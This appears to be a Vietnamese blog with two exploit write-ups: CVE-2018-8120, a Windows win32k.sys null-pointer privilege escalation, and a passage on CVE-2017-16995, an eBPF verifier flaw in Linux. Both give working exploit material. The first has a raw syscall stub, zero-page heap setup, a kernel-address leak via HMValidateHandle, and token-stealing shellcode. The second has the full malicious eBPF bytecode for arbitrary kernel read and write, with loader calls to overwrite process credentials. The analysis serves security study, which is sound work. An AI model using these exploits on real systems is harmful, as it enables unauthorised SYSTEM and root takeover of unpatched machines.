# Phần 1: Giới thiệu về lỗ hổng
- Là một lỗi leo quyền được tìm ra bằng cách diff code giữa các bản cập nhật với nhau. Tác giả phát hiện ra 1 chỗ kiểm tra giá trị null đầu vào trong module *win32k.sys*
```cpp
if ( winSta && (pklFirst = winSta->spklList) != 0 ){
......
}
```
- A window station object là một đối tượng an toàn, chứa một bảng tạm, bảng nguyên tử và một hoặc nhiều đối tượng desktop objects. Mỗi window station object tồn tại trong kernel có cấu trúc **tagWINDOWSTATION**
```cpp
kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
```
*Definition of structure tagWINDOWSTATION*
- Trường ```spklList``` là một con trỏ tới nút đầu tiên của associated keyboard layout ```tagKL``` object linked list có cấu trúc như sau:
```cpp
kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL
+0x00c pklPrev : Ptr32 tagKL
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B
```
*Definition of structure tagKL*
- Trường ```piiex``` của structure ```tagKL``` trỏ tới associated extended IME information object. Trường này sẽ được sẽ dụng trong đoạn khai thác.
# Phần 2: Phân tích lỗi
- Để gọi để hãm bị lỗi thì sử dụng systemcall 0x1226 và hàm **NtUserSetImeInfoEx** sẽ được gọi lên. Sau đó hàm là hàm **SetImeInfoEx**.
## Giới thiệu 2 hàm chính
### Hàm **NtUserSetImeInfoEx**
```cpp
if ( *(_BYTE *)gpsi & 4 )
{
ms_exc.registration.TryLevel = 0;
v2 = imeInfoEx;
if ( (unsigned int)imeInfoEx >= W32UserProbeAddress )
v2 = (tagIMEINFOEX *)W32UserProbeAddress;
v3 = (char)v2->hkl;
qmemcpy(&v6, imeInfoEx, 0x15Cu);
ms_exc.registration.TryLevel = -2;
v4 = _GetProcessWindowStation(0);
bReturn = SetImeInfoEx(v4, &v6);
}
```
- Đầu vào của hàm là dạng **tagIMEINFOEX**
```cpp
kd> dt win32k!tagIMEINFOEX
+0x000 hkl : Ptr32 HKL__
+0x004 ImeInfo : tagIMEINFO
+0x020 wszUIClass : [16] Wchar
+0x040 fdwInitConvMode : Uint4B
+0x044 fInitOpen : Int4B
+0x048 fLoadFlag : Int4B
+0x04c dwProdVersion : Uint4B
+0x050 dwImeWinVersion : Uint4B
+0x054 wszImeDescription : [50] Wchar
+0x0b8 wszImeFile : [80] Wchar
+0x158 fSysWow64Only : Pos 0, 1 Bit
+0x158 fCUASLayer : Pos 1, 1 Bit
```
- Đầu tiên Window Station hiện tại sẽ được lấy thông qua hàm **_GetProcessWindowStation** sau đó truyền vào cho hàm **SetImeInfoEx** và bắt đầu lỗi.
### Hàm **SetImeInfoEx**
```cpp
BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx)
{
[...]
if ( winSta ) <------ đoạn code chưa được sửa
{
pkl = winSta->spklList; <------ đoạn bắt đầu lỗi
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == winSta->spklList )
return 0;
}
piiex = pkl->piiex;
if ( !piiex )
return 0;
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
bReturn = 1;
}
return bReturn;
}
```
- Lỗi bắt đầu phát sinh tại dòng thứ 6 khi **winSta->spklList = null** nó dẫn đến **pkl** nhận giá trị 0. Đây là lỗi rất nguy hiểm và dẫn đến toàn bộ quá trình khai thác phía sau.
## Phân tích
- Tuy tham số đầu vào của hàm **NtUserSetImeInfoEx** hoàn toàn do phía user gửi lên. Nhưng ta chỉ có thể thông qua một số api có sẵn. Ví dụ như ta phải sử dụng 2 hàm **CreateWindowStationW** **SetProcessWindowStation** để tạo 1 windows station để cho **NtUserSetImeInfoEx** có thể nhận được. Nên ta hoàn toàn không thể chỉnh sửa gì trong này để thao tác tùy ý được.
- Nhưng vấn đề ở đây là lỗi null làm cho chường **pkl** = 0. Nghĩa là trường **pkl->hkl** có địa chỉ = 0 + [offset của hkl] --> Nếu ta tạo một vùng nhớ có địa chỉ bắt đầu từ 0 bằng hàm **NtAllocateVirtualMemory** thì các giá trị trong các đoạn so sánh và copy sẽ do ta chỉnh sửa dẫn đến hoàn toàn có thể điều khiển được các đoạn lệnh phía sau. Đồng nghĩa với việc ta có thể thay đổi được giá trị của **piiex** và **piiex->fLoadFlag** do nằm trong **pkl** nên ta sẽ có quyền ghi tùy ý.
# Khai thác
## Đạt tới đoạn code lỗi
### Bước 1: Tạo windows station và trường spkList là null
```cpp
SECURITY_ATTRIBUTES sa = { 0 };
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa);
SetProcessWindowStation(hWinStat);
```
- Kết quả
```cpp
kd> dt win32k!tagWINDOWSTATION 85dfefa8
+0x000 dwSessionId : 1
+0x004 rpwinstaNext : (null)
+0x008 rpdeskList : (null)
+0x00c pTerm : 0x94b0eb80 tagTERMINAL
+0x010 dwWSF_Flags : 4
+0x014 spklList : (null)
[...]
```
### Bước 2: tạo system call tới hàm **NtUserSetImeInfoEx** và gọi tới nó với tham số có dạng 1 **tagIMEINFOEX**
```cpp
BOOL __declspec(naked)
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx)
{
__asm { mov eax, 1226h };
__asm { lea edx, [esp + 4] };
__asm { int 2eh };
__asm { ret };
}
```
```cpp
tagIMEINFOEX iiFaked = { 0 };
bReturn = xxNtUserSetImeInfoEx(&iiFaked);
```
- Kết quả là trường **spklList** = null và sử dụng vùng địa chỉ bắt đầu từ 0 để tính toán
```cpp
Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
9490007c 395014 cmp dword ptr [eax+14h],edx
kd> r eax
eax=00000000
kd> k
# ChildEBP RetAddr
00 98a1ba90 9490003d win32k!SetImeInfoEx+0x17
01 98a1bc28 83e471ea win32k!NtUserSetImeInfoEx+0x65
02 98a1bc28 0016f2eb nt!KiFastCallEntry+0x12a
03 3378fbf4 0016f4c5 TempDemo!xxNtUserSetImeInfoEx+0xb
04 3378fdfc 0016f1ca TempDemo!xxTrackExploitEx+0x155
```
## Ghi tùy ý
- Như đã được phân tích ở trên thì bây giờ ta sẽ khởi tạo một vùng nhớ zero page bằng hàm ```NtAllocateVirtualMemory```
```cpp
PVOID MemAddr = (PVOID)1;
SIZE_T MemSize = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(),
&MemAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
ZeroMemory(MemAddr, MemSize);
```
- Ta sử dụng hàm ```qmemcpy``` để ghi tùy ý. Với biến ```piiex``` ta có thể thay đổi được do lỗi null poiter. Ta sẽ ghi giá trị vào các vùng này với các offset tương ứng với các biến ta muốn thay đổi
```cpp
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
```
```cpp
DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)0xCCCCCCCC; // tagKL->piiex
```
- Tới đây thì khi thực thi thì sẽ bị crash do địa chỉ 0xCCCCCCCC chưa được cấp phát
<image src="https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/imagedebug/1.PNG">
## Thực thi tùy ý
- Ý tưởng là ghi đè vào trường con trỏ ```lpfnWndProc``` của target window ```tagWND``` object.
- Cách thực hiện như sau:
### Bước 1: tạo một ``` window object``` mới, leak địa chỉ kernel của nó (được nói ở phần sau) sửa vào trường ```piiex``` và chạy đến đoạn ```qmemcpy```
- Một chú ý là để có thể qua được hàm kiểm tra ```if ( !piiex->fLoadFlag )``` thì ta ```tagWND``` mà ta tạo phải có offset 0x48 có giá trị bằng 0
<image src="https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/imagedebug/2.PNG">
Để làm được điều này thì ta dùng tham số ```WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP``` cho hàm tạo windows object
```cpp
WNDCLASSEXW wc = { 0 };
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = DefWindowProcW;
wc.cbWndExtra = 0x100;
wc.hInstance = GetModuleHandleA(NULL);
wc.lpszMenuName = NULL;
wc.lpszClassName = L"WNDCLASSHUNT";
RegisterClassExW(&wc);
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT",
NULL,
WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
```
### bước 2: chuẩn bị nguồn ```tagIMEINFOEX ``` để ghi vào ```tagWND``` ở trên
- Một lưu ý quan trọng là ta phải tạo ```tagIMEINFOEX ``` sao cho giống một ```tagWND``` chỉ sửa 2 chỗ. Đầu tiên đó là flag bit ```bServerSideWindowProc ``` (xác định xem message procedure có được thực thi trong ngữ cảnh kernel không). Thứ 2 là sửa lpfnWndProc tới đoạn mã độc
```cpp
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX));
*(DWORD*)((PBYTE)& iiFaked + 0x14) |= (DWORD)0x40000; //->bServerSideWindowProc
*(DWORD*)((PBYTE)& iiFaked + 0x60) = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc
```
## Leak giá trị
- Trong ```user32``` module, system cung cấp hàm ẩn ```HMValidateHandle``` để lấy dữ liệu của user objects và không dùng trực tiếp được. Hàm này được một hàm duy nhất gọi tới là hàm ```IsMenu```. Vậy ta có thể tính toán địa chỉ của hàm ```HMValidateHandle``` từ hàm ```IsMenu```
```cpp
.text:76D76F0E 8B FF mov edi, edi
.text:76D76F10 55 push ebp
.text:76D76F11 8B EC mov ebp, esp
.text:76D76F13 8B 4D 08 mov ecx, [ebp+hMenu]
.text:76D76F16 B2 02 mov dl, 2
.text:76D76F18 E8 73 5B FE FF call @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8 neg eax
.text:76D76F1F 1B C0 sbb eax, eax
.text:76D76F21 F7 D8 neg eax
.text:76D76F23 5D pop ebp
.text:76D76F24 C2 04 00 retn 4
```
*Hàm ismenu*
- Ta chỉ cần lọc đến đoạn nào có byte B2 02 e8:
```cpp
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD*)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE*)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD*)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall*)(HANDLE, BYTE))Address;
break;
}
}
```
```cpp
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt);
```
- Khí lấy kernel address của carrier window ```tagWND``` bởi ```HMValidateHandle``` cấu trúc của nó dạng ```THRDESKHEAD``` member structure object:
```cpp
kd> dt win32k!_THRDESKHEAD
+0x000 h : Ptr32 Void
+0x004 cLockObj : Uint4B
+0x008 pti : Ptr32 tagTHREADINFO
+0x00c rpdesk : Ptr32 tagDESKTOP
+0x010 pSelf : Ptr32 UChar
```
- Trường ```pSelf``` trỏ tới kernel address nên ta sẽ lấy giá trị này để thế vào vị trí của ```piiex```
```cpp
DWORD* klFaked = (DWORD*)MemAddr;
klFaked[0x02] = (DWORD)klFaked; // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked; // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)head->pSelf; // tagKL->piiex <<<<<-----
```
- Tới bước này khi chạy chương trình thì ta sẽ có một windows object chưa mã độc ở trường ```lpfnWndProc``` bây giờ ta chỉ cần gửi một tin nhắn vào windows object đó thì mã độc sẽ được thực thi.
## Leo quyền
- Bây giờ ta cần thiết kế 1 đoạn mã để có thể thực hiện leo quyền. Về cơ bản thì đoạn mã sẽ thực hiện các bước sau
### Bước 1: khởi tạo, lưu giá trị ban đầu
```cpp
__asm push ebp;
__asm mov ebp, esp;
__asm mov eax, dword ptr[ebp + 0Ch];
__asm cmp eax, 9F9Fh;
__asm jne LocRETURN;
__asm mov ax, cs;
__asm cmp ax, 1Bh;
__asm je LocRETURN;
__asm cld;
__asm pushad;
__asm call $ + 5;
__asm pop edx;
__asm sub edx, 35h;
```
### Bước 2: tìm ``` EPROCESS``` của tiến trình hiện tại
```cpp
LocGetEPROCESS:
__asm mov ecx, dword ptr[ebp + 8];
__asm mov ecx, dword ptr[ecx + 8];
__asm mov ebx, dword ptr[edx + 08h];
__asm mov ecx, dword ptr[ebx + ecx];
__asm mov ecx, dword ptr[ecx];
__asm mov ebx, dword ptr[edx + 0Ch];
__asm mov eax, dword ptr[edx + 4];
__asm push ecx;
LocForCurrentPROCESS:
__asm cmp dword ptr[ebx + ecx - 4], eax;
__asm je LocFoundCURRENT;
__asm mov ecx, dword ptr[ebx + ecx];
__asm sub ecx, ebx;
__asm jmp LocForCurrentPROCESS;
LocFoundCURRENT:
__asm mov edi, ecx;
__asm pop ecx;
```
### Bước 3: tìm ``` EPROCESS``` của tiến trình có quyền cao hơn và ghi đè trường ```token``` để leo quyền
```cpp
LocForSystemPROCESS:
__asm cmp dword ptr[ebx + ecx - 4], 4;
__asm je LocFoundSYSTEM;
__asm mov ecx, dword ptr[ebx + ecx];
__asm sub ecx, ebx;
__asm jmp LocForSystemPROCESS;
LocFoundSYSTEM:
__asm mov esi, ecx;
__asm mov eax, dword ptr[edx + 10h];
__asm add esi, eax;
__asm add edi, eax;
__asm lods dword ptr[esi];
__asm stos dword ptr es : [edi] ;
__asm and eax, 0FFFFFFF8h;
__asm add dword ptr[eax - 18h], 2;
__asm mov dword ptr[edx + 14h], 1;
__asm popad;
__asm xor eax, eax;
```
### Bước 4: gọi một tiến trình cmn lên và kiểm tra quyền
- <image src="https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/imagedebug/3.PNG">
# Tham khảo
- Payload [link](https://github.com/KamasuOri/Research/blob/master/CVE-2018-8120/Source.cpp)
- Window Stations [link](https://docs.microsoft.com/vi-vn/windows/desktop/winstation/window-stations)
- Phân tích CVE-2018-8120 [link](https://xiaodaozhi.com/exploit/156.html)
- Shellcode [link](https://xiaodaozhi.com/exploit/132.html)
- Leak kernel address [link](https://xiaodaozhi.com/exploit/117.html)
Thứ Năm, 25 tháng 4, 2019
Thứ Bảy, 30 tháng 3, 2019
Phân tích CVE-2017-16995
Phân tích CVE-2017-16995
Phần 1: Cơ bản về eBPF
- eBPF extension Berkeley Packet Filter có chức năng để lọc các gói tin nghĩa là khi một gói tin đến thì eBPF sẽ áp dụng các luật đã có sẵn để thực hiện các hành vi đúng theo ý của người quản trị. Ta có thể tự định nghĩa các instruction và giao tiếp với eBPF thông qua các API có sẵn. Để định nghĩa thì phải dùng eBPF program và có cấu trúc và các tập thanh ghi riêng.
- xem thêm về các API của eBPF link
- eBPF program gồm 10 thanh ghi R0-R10 trong đó R10 là frame pointer read-only.
- Cấu trúc của bpf instruction:
struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant */ };
- Ví dụ "\xb4\x09\x00\x00\xff\xff\xff\xff"
- code: b4, dst_reg: 9, src_reg: 0, off: 0, imm: ffffffff
- Trường code dùng để định nghĩa instruction đó dùng để làm gì (ví dụ b4 = mov)
Phần 2: Phân tích lỗi
- Ta cần để ý tới 2 hàm quan trọng đó là do_check (kernel/bpf/verifier.c) và bpf_prog_run (kernel/bpf/verifier.c)
- do_check dùng để kiểm tra tính hợp lệ của các instruction. Nó đảm bảo khi các instruction thực thi thì sẽ không ảnh hưởng tơi vùng khác hoặc làm các hành động có nguy hiểm cho hệ thống
- bpf_prog_run dùng để thực thi các instruction được truyền vào
Phân tích đoạn đầu của mã khai thác
- các hàm do_check và bpf_prog_run sẽ được debug theo đầu nào này.
- Để đơn giản thì ta sẽ phân tích đoạn instruction ta truyền vào cho eBPF.
- 3 dòng đầu tiên. Mục đích là để bypass
"\xb4\x09\x00\x00\xff\xff\xff\xff" "\x55\x09\x02\x00\xff\xff\xff\xff" "\xb7\x00\x00\x00\x00\x00\x00\x00"- Nội dung của 3 đoạn instruction có nghĩa là:
{ r9 = u32(-1); if(r9==0xffffff){ exit; } ........ (some malicious code) }
Hàm do_check
- Hàm do_check sẽ gọi tới hàm check_cond_jmp_op để kiểm chọn nhánh sẽ thực thi
else if (class == BPF_JMP) { u8 opcode = BPF_OP(insn->code); if (opcode == BPF_CALL) { //some code } else if (opcode == BPF_JA) { //some code } else if (opcode == BPF_EXIT) { //some code }else { err = check_cond_jmp_op(env, insn, &insn_idx); if (err) return err; } }
- Trong check_cond_jmp_op
if (BPF_SRC(insn->code) == BPF_K && (opcode == BPF_JEQ || opcode == BPF_JNE) && regs[insn->dst_reg].type == CONST_IMM && regs[insn->dst_reg].imm == insn->imm) { if (opcode == BPF_JEQ) { /* if (imm == imm) goto pc+off; * only follow the goto, ignore fall-through */ *insn_idx += insn->off; return 0; } else { /* if (imm != imm) goto pc+off; * only follow fall-through branch, since * that's where the program will go */ return 0; } }
- Tại dòng regs[insn->dst_reg].imm == insn->imm) thì nó sẽ kiểm tra 2 signed integer cả 2 đều kiểu là U32. Nghĩa là sẽ so sánh 0xffffffff và 0xffffffff.
Breakpoint 3, 0xffffffff8111318e in check_cond_jmp_op (insn_idx=<optimized out>, insn=<optimized out>, env=<optimized out>) at kernel/bpf/verifier.c:1219 1219 regs[insn->dst_reg].type == CONST_IMM && => 0xffffffff8111318e <bpf_check+7918>: cmp %ecx,0x8(%rax) 0xffffffff81113191 <bpf_check+7921>: jne 0xffffffff81112cbc <bpf_check+6684> 0xffffffff81113197 <bpf_check+7927>: cmpb $0x10,-0x78(%rbp) 0xffffffff8111319b <bpf_check+7931>: jne 0xffffffff81111edf <bpf_check+3135> ecx 0xffffffff $3 = 0xffff88007b9e70a8 0xffff88007b9e70a8: 0x0000000000000008 0x00000000ffffffff
- Vấn đề ở đây là nó luôn tin phép so sánh này đúng và sẽ không kiểm tra các instruction nằm đằng sau. Ta sẽ nói tiếp ở phần sau
Hàm bpf_prog_run
- Hàm bị lỗi:
#define DST regs[insn->dst_reg] #define SRC regs[insn->src_reg] #define FP regs[BPF_REG_FP] #define ARG1 regs[BPF_REG_ARG1] #define CTX regs[BPF_REG_CTX] #define IMM insn->imm //definition of regs u64 regs[MAX_BPF_REG], tmp; //jump branch for BPF_ALU|BPF_MOV|BPF_K ALU_MOV_K: DST = (u32) IMM; CONT; //jump branch for BPF_JMP|BPF_JNE|BPF_K JMP_JNE_K: if (DST != IMM) { insn += insn->off; CONT_JMP; } CONT;
- Ta có thể thấy rằng DST có dạng u64 nên khi ép kiểu xuống thì giá trị không phải là 0xffffffff mà nó sẽ có giá trị là 0xffffffffffffffff nhưng imm = 0xffffffff nên điều kiện kiểm tra sẽ bị sai dẫn đến nhánh khác được thực thi thay vì nhánh mà hàn do_check nghĩ
- Đặt breakpoint tại DST = (u32) IMM;
0xffffffff81171b6a <__bpf_prog_run+1562> and eax, 0xf 0xffffffff81171b6d <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi 0xffffffff81171b75 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx] 0xffffffff81171b78 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8] ↓ 0xffffffff81171e3b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1] ► 0xffffffff81171e3f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4] pwndbg> x/gx $rbx+4 0xffffc90000461034: 0x000000b7ffffffff
- sau lệnh này thì rdx có giá trị là 0xffffffffffffffff thay vì 0xffffffff
0xffffffff81171b6d <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi 0xffffffff81171b75 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx] 0xffffffff81171b78 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8] ↓ 0xffffffff81171e3b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1] 0xffffffff81171e3f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4] ► 0xffffffff81171e43 <__bpf_prog_run+2291> and eax, 0xf 0xffffffff81171e46 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx 0xffffffff81171e4e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff811728fc> 0xffffffff81171e54 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2] 0xffffffff81171e59 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8] 0xffffffff81171e5e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx] pwndbg> i r rdx rdx 0xffffffffffffffff -1
- Và đây là khi so sánh if (DST != IMM)
0xffffffff81171e43 <__bpf_prog_run+2291> and eax, 0xf ► 0xffffffff81171e46 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx 0xffffffff81171e4e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff811728fc> 0xffffffff81171e54 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2] 0xffffffff81171e59 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8] 0xffffffff81171e5e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx] 0xffffffff81171e61 <__bpf_prog_run+2321> jmp qword ptr [r12 + rax*8] pwndbg> i r rdx rdx 0xffffffffffffffff -1 pwndbg> x/gx $rbp + $rax*8 - 0x278 0xffff8800165dba78: 0x00000000ffffffff
- Chứng tỏ rằng đoạn kiểm tra là sai.
Tổng kết vấn đề
- Khi ta load kịch bản instruction như trên, hàm bpf_check kiểm tra thì nó thấy nhánh so sánh là đúng và hiểu là so sáng 0xffffffff với 0xffffffff nên chương trình chạy đến đoạn exit và thoát ra. Nên không kiểm tra đoạn code phía sau.
- Nhưng khi hàm bpf_prog_run chạy lên và đoạn so sánh lại bị hiểu là 0xffffffff vs 0xffffffffffffffff nên nó sẽ nhận là sai và xuống nhánh dưới và thực thi mã độc
- Thật vậy. Đây là đoạn bpf log được in ra sau khi chạy thành công. Tuy các nhánh phía dưới được thực thi nhưng chỉ được ghi nhận 4 instruction đầu tiên
0: (b4) (u32) r9 = (u32) -1 1: (55) if r9 != 0xffffffff goto pc+2 2: (b7) r0 = 0 3: (95) exit - Như vậy ta có thể thực hiện các instruction độc hại và dẫn đến có toàn quyền đọc ghi với hệ thống
Phần 3: Khai thác
Tạo tập instruction
- Tập instruction sẽ gửi lên kernel
"\xb4\x09\x00\x00\xff\xff\xff\xff" "\x55\x09\x02\x00\xff\xff\xff\xff" "\xb7\x00\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x18\x19\x00\x00\x03\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x00\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x06\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x01\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x07\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x02\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x08\x00\x00\x00\x00\x00\x00" "\xbf\x02\x00\x00\x00\x00\x00\x00" "\xb7\x00\x00\x00\x00\x00\x00\x00" "\x55\x06\x03\x00\x00\x00\x00\x00" "\x79\x73\x00\x00\x00\x00\x00\x00" "\x7b\x32\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x55\x06\x02\x00\x01\x00\x00\x00" "\x7b\xa2\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x7b\x87\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00";
- Ý nghĩa.
- 3 dòng đầu dùng để bypass hàm do_check đã được nhắc phía trên.
"\xb4\x09\x00\x00\xff\xff\xff\xff" "\x55\x09\x02\x00\xff\xff\xff\xff" "\xb7\x00\x00\x00\x00\x00\x00\x00"
- Dưới đây là mã giả của instruction từ dòng 4 trở xuống.
R1 = bpf_map; R2 = R10; R2 = R2 - 4; *(R10-4) = 0; R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 0 if(R0 == 0) JUMP_EXIT R6 = *R0 R1 = bpf_map; R2 = R10; R2 = R2 - 4; *(R10-4) = 1; R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 1 if(R0 == 0) JUMP_EXIT R7 = *R0 R1 = bpf_map; R2 = R10; R2 = R2 - 4; *(R10-4) = 2; R0 = call bpf_map_lookup_elem(R1, R2); // R1 is pointer to bpf_map, *R2 is 2 if(R0 == 0) JUMP_EXIT R8 = *R0 R2 = R0; R0 = 0; if(R6 == 0) { R3 = *(R7); *R2 = R3; } else if(R6 == 1) { *R2 = R10; } else if(R6 == 2) { *(R7) = R8; }
- Mục đích là cho ta có quyền đọc và ghi tùy ý tới mọi địa chỉ. Tất cả các giá trị này để là ở phía user truyền lên qua BPF_MAP_UPDATE_ELEM và có thể đọc được nhờ BPF_MAP_LOOKUP_ELEM Tham khảo
- Bây giờ thứ ta cần nhớ là R6 R7 R8 R9 đều là do user gửi lên.
- Nếu R6 == 0 thì sẽ ghi giá trị R7 trỏ đến vào R2 (đọc tùy ý)
- Nếu R6 == 1 thì giá trị R10 (frame pointer) sẽ được ghi vào R2 (leak frame pointer)
- Nếu R6 == 2 thì giá trị R8 sẽ được lưu vào vùng R7 trỏ tới (ghi tùy ý)
- Bây giờ thứ ta cần nhớ là R6 R7 R8 R9 đều là do user gửi lên.
Khai thác
- Bước 1: Bước khởi tạo: bpf_map, gửi tập instruction lên kernel, tạo socket
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets); setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd));
- Bước 2: Leak địa chỉ và ghi đề vào vùng cred để leo quyền
- Ta leak frame pointer thông qua optione 1 của mã độc và vì lúc này giá trị đó đã được lưu ở bpf_map thứ 2 nên ta đọc nó bằng bpf_lookup_elem
